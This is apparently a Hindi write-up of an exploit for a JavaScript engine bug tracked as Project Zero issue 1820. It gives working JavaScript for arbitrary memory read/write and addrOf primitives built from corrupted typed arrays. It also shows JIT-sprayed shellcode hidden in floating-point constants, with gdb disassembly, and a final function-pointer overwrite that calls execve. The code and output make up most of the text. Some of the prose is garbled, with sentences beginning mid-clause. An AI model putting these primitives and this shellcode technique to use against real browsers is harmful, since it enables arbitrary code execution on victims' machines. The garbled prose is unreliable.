
https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
बग: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820


exploit.js - वास्तविक शोषण, saelo के util.js और Int64.js द्वारा प्रस्तुत।stager.js - स्थिरांक बनाने के लिए उपयोग किया जाता है, saelo के util.js और Int64.js द्वारा प्रस्तुत।stager.py - Keystone का उपयोग करके निर्देशों को असेंबल करने के लिए उपयोग किया जाता है। आउटपुट stager.js को फीड किया जाता है।setup() में किया गया)।const exploit_pack = [
new Uint8Array(0x10),
new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
new Uint8Array(0x10), // Arbitrary RW array
]
exploit_pack[0] के बैकिंग बफर से परे exploit_pack[1] के डेटा पॉइंटर फील्ड में लिखें। इसे exploit_pack[2] के डेटा पॉइंटर फील्ड के पते पर इंगित करें। // setup()
const v11 = v4.pop();
const addr = v11[11];
v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
exploit_pack[1] की सामग्री के रूप में सेट किया जा सकता है जो आंतरिक रूप से exploit_pack[2] के डेटा पॉइंटर को संशोधित करता है। फिर मेमोरी पढ़ने या लिखने के लिए exploit_pack[2] का उपयोग करें।function read(ptr) {
read_addr = new Int64(ptr);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = read_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
// bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
function write(ptr, value) {
let addr = new Int64(ptr);
let bytes = new Int64(value);
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = addr.byteAt(idx);
}
for (var idx=0; idx < 8; idx++) {
exploit_pack[2][idx] = bytes.byteAt(idx);
}
}
exploit_pack का उपयोग करके ही एक addrOf प्रिमिटिव बनाएं।function addrOf(obj) {
exploit_pack[3] = obj;
// Change data pointer of exploit_pack[2]
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = leaking_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// Remove 0xfffe in pointer
bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
r-x पेजों में बाध्य कर सकते हैं।const stager = function (a, b, c, d) {
const rax = a;
const rdi = b;
const rsi = c;
const rdx = d;
const g0 = 9.073632937307107e-271;
const g1 = 1.6063957816990143e-270;
const g2 = 1.6082444981830348e-270;
const g3 = 1.6100929890177583e-270;
const g4 = 1.6119413952339954e-270;
const g5 = 1.68020602465e-313;
}
0xdeadc0debaad देख सकते हैं।
gef➤ disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
0x0000085a6e604531: 49 bb 80 ad ba de c0 ad de 07 movabs r11,0x7deadc0debaad80
0x0000085a6e60453b: 4c 89 5d a8 mov QWORD PTR [rbp-0x58],r11
0x0000085a6e60453f: 49 bb c0 48 8b 44 24 28 eb 07 movabs r11,0x7eb2824448b48c0
End of assembler dump.

gef➤ disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
0x0000085a6e604542: 48 8b 44 24 28 mov rax,QWORD PTR [rsp+0x28]
0x0000085a6e604547: eb 07 jmp 0x85a6e604550
End of assembler dump.
4c 89 5d XX 49 bb 00 बाइट्स को किसी तरह से 7 बाइट्स के साथ बायपास करें जिन्हें हम नियंत्रित करते हैं। हम एक रिलेटिव jmp का उपयोग करके इन बाइट्स पर कूद सकते हैं।$ rasm2 -a x86 -b 64 "jmp 7"
eb05

execve सिस्कॉल के लिए रजिस्टरों में निम्नलिखित चीजों की आवश्यकता है।rax: सिस्कॉल नंबर
rdi: प्रोग्राम पथ
rsi: argv
rdx: envp
mov निर्देश स्टैक पर एक ऑफ़सेट से संबंधित रजिस्टरों में मान स्थानांतरित करने के लिए वरदान हैं। यह बिल्कुल 5 बाइट्स का है।$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
इसलिए, हम अपने स्थिरांक बना सकते हैं। यह देखने के लिए stager.py -> stager.js देखें कि वे कैसे उत्पन्न हुए थे।
बस ऑब्जेक्ट संरचना में वास्तविक JIT फ़ंक्शन पॉइंटर को ओवरराइट करें और इसे ऑफ़सेट से बदलें। पैरामीटर के साथ फ़ंक्शन को कॉल करें।
write(jitGetter, jmpOffset);
stager(
new Int64(59).asDouble(),
new Int64(pathAddr).asDouble(),
new Int64(argvBufferAddr).asDouble(),
new Int64(environBufferAddr).asDouble());